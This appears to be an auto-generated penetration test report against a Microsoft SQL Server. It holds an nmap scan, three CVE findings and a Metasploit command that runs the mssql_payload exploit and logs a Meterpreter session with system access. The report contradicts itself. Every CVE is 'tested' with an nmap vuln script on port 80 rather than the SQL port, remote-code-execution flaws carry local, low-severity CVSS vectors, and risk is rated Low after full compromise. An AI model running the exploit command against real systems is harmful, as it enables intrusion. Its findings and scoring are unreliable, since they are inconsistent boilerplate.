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3. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
Next Steps:
- Address critical vulnerabilities within 24 hours
- Remediate high risk findings within 7 days
- Schedule retesting after fixes are implemented
- Conduct developer security training focusing on OWASP Top 10
--- END REPORT ---
=== Automated Penetration Test Report ===
Test ID: PT-2025-05-11-0003
Date: 2025-05-11 19:07:18
Tester: kwilson
Organization: CyberShield Inc
Confidentiality: STRICTLY CONFIDENTIAL
Test Objective: evaluate attack surface of the Microsoft SQL database server (10.133.126.227)
Scope: Internal security assessment
Rules of Engagement: Standard
=== Discovery Phase ===
Tester: nmap -sV -O --script=banner -p1433,1434 10.133.126.227
Tool Output:
Starting Nmap 7.92 at 2025-05-11 19:07:18
Nmap scan report for 10.133.126.227
Host is up (0.40s latency).
MAC Address: A2:E2:89:CF:F3:B6 (Arista)
1433/tcp open ms-sql-s Microsoft SQL Server 2019
1434/tcp open ms-sql-s Microsoft SQL Server 2019
OS details: Windows Server 2019
OS CPE: cpe:/o:microsoft:windows_server_2019:-
Network Distance: 2 hops
Service Info: Hostname: sql-backend-02
Nmap done: 1 IP address (1 host up) scanned in 21 seconds
=== Vulnerability Assessment ===
Tools used:
- OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection
- Burp Suite: Manual testing, session analysis, and business logic flaw identification
- Nmap scripts: Service enumeration and vulnerability verification
- Metasploit: Exploit verification and proof-of-concept testing
## Vulnerability 1: CVE-2020-0618 (RCE via SQL Reporting Services)
CVE: CVE-2020-0618
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2)
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
Test Method: nmap --script vuln -p80 10.133.126.227
Result:
Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile.
Remediation: See vendor documentation
## Vulnerability 2: CVE-2019-1068 (Elevation of Privilege - SQL Server)
CVE: CVE-2019-1068
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4)
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
Test Method: nmap --script vuln -p80 10.133.126.227
Result:
Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile.
Remediation: See vendor documentation
## Vulnerability 3: CVE-2021-1636 (RCE via TDS Protocol)
CVE: CVE-2021-1636
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.3)
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
Test Method: nmap --script vuln -p80 10.133.126.227
Result:
Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile.
Remediation: See vendor documentation
=== Exploitation Phase ===
Tool: Metasploit Framework 6.1
Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 10.133.126.227; set RPORT 1433; exploit"
Output:
[*] Exploiting known vulnerabilities:
- CVE-2021-1636 (CVE-2021-1636)
- CVE-2020-0618 (CVE-2020-0618)
- CVE-2019-1068 (CVE-2019-1068)
[*] Started reverse TCP handler on port 1433
[*] Sending payload...
[*] Sending stage (566 bytes)
[*] Meterpreter session 10 opened
[*] Session established
[*] Gained system access
[*] Connected to 10.133.126.227
[*] Post-exploitation modules available:
- mssql_enum
- mssql_sql
- mssql_exec
=== Final Assessment ===
Overall Risk Rating: Low
Confidence Level: Low